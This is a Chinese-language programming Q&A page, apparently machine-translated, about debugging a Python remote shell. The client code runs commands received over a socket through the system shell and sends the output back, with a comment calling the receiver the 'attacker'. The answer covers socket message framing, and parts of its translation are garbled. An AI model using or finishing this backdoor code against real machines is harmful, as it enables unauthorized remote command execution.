python - 尝试创建远程 shell,程序未按需要打印命令输出
问题描述
我正在尝试在 python 中创建一个远程 shell,并让服务器向客户端发送命令并让它在远程机器上执行。出了问题的是,尽管客户端正在发回输出(据我所知),但服务器没有正确接收和打印它。它一直在工作,直到我更改代码以接收所有数据,而不仅仅是一大块。如何接收所有数据并正确打印?
服务器代码:
while True:
try:
command = input(client_ip+ ">")
if(len(command.split()) != 0):
client_socket.send(command.encode('utf-8'))
else:
continue
except(EOFError):
print("Invalid input, type 'help' to get a list of implemented commands.\n")
continue
if(command == "quit"):
break
total_data = []
while True:
data = client_socket.recv(8192)
if not data: break
total_data.append(data)
print(total_data + '\n')
# try:
# output = ''
# data = ''
# while True:
# data += client_socket.recv(1024).decode('utf-8')
# if not data:
# break
# else:
# output += data
# except Exception:
# if output:
# pass
# else:
# print("failed")
# print(data + "\n")
客户端代码:
while True:
command = connexion_socket.recv(1024).decode('utf-8')
split_command = command.split()
print("Received command : " +command)
# if its quit, then break out and close socket
if command == "quit":
break
if(command.split()[0] == "cd"):
if len(command.split()) == 1:
connexion_socket.send((os.getcwd().encode('utf-8')))
elif len(command.split()) == 2:
try:
os.chdir(command.split()[1])
connexion_socket.send(("Changed directory to " + os.getcwd()).encode('utf-8'))
except(WindowsError):
connexion_socket.send(str.encode("No such directory : " +os.getcwd()))
else:
# do shell command
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = (proc.stdout.read() + proc.stderr.read()).decode('utf-8')
print(stdout_value + "\n")
# send output to attacker
if(stdout_value != ""):
connexion_socket.send(stdout_value.encode('utf-8'))
else:
connexion_socket.send((command+ " does not return anything").encode('utf-8'))
如果需要更多信息,请询问:)
解决方案
看来您正在使用流套接字。在这种情况下,问题是如果连接没有关闭(通过),您无法测试 EOF(正在读取零长度数据)以打破您的接收循环client.py
。您server.py
读取输入,然后返回从套接字接收更多数据,然后等待更多数据(不会到来)。
在你可以通过接受一个新的连接client.py
开始你的循环并通过关闭它来结束(注意:返回的套接字将被关闭,而不是调用其方法的监听)。在您可以通过设置和关闭与对方的连接(resp.)来开始和结束您的循环。在那种情况下可以使用就好了。accept
accept
server.py
if not data: break
另一种选择是。您可以在协议/应用程序级别处理此问题。您可以通过发送要遵循的数据长度来开始传输(并接收直到您拥有现在已知的数据量),或者选择一个消息分隔符(例如b'\0'
),您也可以在每个完整的输出块之后发送该分隔符。然后您可以一个接一个地接收数据,直到到达下一个分隔符。在这种情况下,您可以保持现有连接处于活动状态,并将其重新用于来回通信。即在您的接收循环中您检查:if data == b'\0': break
并且您conn.send(b'\0')
在循环中的每条消息之后发送client.py
。
不相关的旁注:WindowsError
应该是OSError
您可能真正想要捕获的子类以使您的代码可移植。
推荐阅读
- vba - VBA 字符串变量包含其他变量
- javascript - 为什么 Node process.memoryUsage 和 Chrome performance.memory 值不同?
- visual-studio - 在 Unity 中使用 QuickGraph 库
- c# - How do I use the RangeAttribute in a method call?
- swift - SwiftUI ObservedObject in View has two references (instances) BUG
- java - Timing and multithreading in Java
- autodesk-forge - 如何使用 Forge Viewer Snapper?
- bash - Bash print columns with varying number of values
- javascript - 只为 Observable 的某些排放做 rxjs 管道的一部分
- typescript - 谷歌分析:dataLayer.push 不适用于变量数组?